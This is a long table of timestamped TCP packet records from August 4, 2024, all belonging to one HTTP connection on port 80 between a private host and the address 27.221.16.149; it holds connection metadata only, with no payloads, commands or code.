Aug 4, 2024 10:58:04.324346066 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.373999119 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585164070 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585211992 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585261106 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585273027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585310936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585345030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585364103 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585381985 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585411072 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585433006 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585445881 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585480928 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585494995 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585536003 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585571051 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585587978 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585606098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585655928 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585663080 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585697889 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585732937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585741997 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585767984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585803032 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585814953 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.585844994 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.585892916 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.586147070 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586182117 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586231947 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.586237907 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586272001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586308002 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586318970 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.586344004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586380959 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586390018 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.586417913 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586471081 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.586921930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.586957932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.587003946 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.587016106 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.587049961 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.587084055 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.587093115 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.587122917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.587173939 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932074070 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932096004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932121992 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932138920 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932157993 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932173967 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932178974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932236910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932312965 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932331085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932379007 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932400942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932430029 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932446003 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932462931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932471991 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932502031 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932682037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932697058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932714939 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932734013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932756901 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.932768106 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.932790995 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933034897 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933051109 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933083057 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933093071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933135986 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933150053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933168888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933212042 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933212996 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933233023 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933265924 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933304071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933320999 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933340073 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933353901 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933362961 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933433056 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933770895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933804989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933820009 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933840990 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.933954954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.933981895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.934000015 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.934000969 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.934020042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.934037924 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.934046984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.934089899 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.279552937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279629946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279685974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.279691935 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279728889 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279788971 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.279788971 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279827118 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279860973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279885054 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.279897928 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279933929 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.279951096 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.279969931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280004025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280011892 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280040979 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280077934 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280090094 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280117989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280153990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280168056 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280189991 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280226946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280262947 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280282974 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280318022 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280324936 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280373096 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280410051 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280426025 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280445099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280492067 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280479908 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280551910 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280596972 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280719042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280755997 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280800104 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280811071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280848026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280889034 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.280905008 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280961037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.280997038 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281009912 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.281034946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281080961 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.281090021 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281125069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281158924 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281172991 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.281196117 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281232119 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281239986 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.281270981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.281307936 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627029896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627054930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627074957 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627090931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627113104 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627135992 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627173901 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627183914 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627202034 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627228975 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627296925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627315044 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627331018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627347946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627366066 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627371073 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627389908 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627396107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627413988 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627413988 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627429008 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627444029 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627456903 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627464056 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627481937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627497911 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627520084 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627551079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627564907 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627590895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627607107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627619982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627624989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627644062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627655029 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627661943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627677917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627691031 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627695084 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627717018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627726078 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627734900 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627756119 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.627824068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.627866983 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.628169060 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.628235102 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.629868984 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.973959923 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.973994017 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974009037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974040985 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974051952 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974081993 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974097967 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974112988 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974148989 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974152088 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974236965 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974255085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974271059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974287987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974289894 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974313974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974407911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974425077 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974441051 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974456072 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974458933 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974482059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974483013 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974498987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974515915 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974535942 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974565029 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.974953890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.974997044 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975043058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975043058 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975059032 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975075960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975094080 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975198030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975213051 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975228071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975243092 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975246906 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975260973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975269079 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975276947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975291967 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975294113 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975341082 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975341082 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975358963 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975394964 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.975889921 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975925922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975940943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.975970984 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.976058006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976074934 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976089001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976104021 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.976110935 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976129055 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.976185083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976200104 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976216078 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976231098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976241112 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.976248026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976269007 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:05.976273060 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:05.976285934 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.030256033 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321552992 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321578026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321594954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321621895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321639061 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321650028 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321680069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321688890 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321697950 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321713924 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321741104 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321755886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321789026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321805954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321822882 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321839094 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321840048 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321887970 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.321914911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321975946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.321990013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322006941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322025061 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322050095 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322124004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322140932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322156906 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322173119 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322173119 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322189093 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322204113 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322211981 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322222948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322238922 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322242022 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322282076 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322299957 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322315931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322330952 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322364092 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322809935 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322827101 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322843075 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322851896 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322875977 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322895050 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322910070 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322926044 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322942019 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.322949886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.322978973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323057890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323074102 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323091030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323106050 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323113918 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323123932 CEST	80	49758	27.221.16.149	192.168.2.7
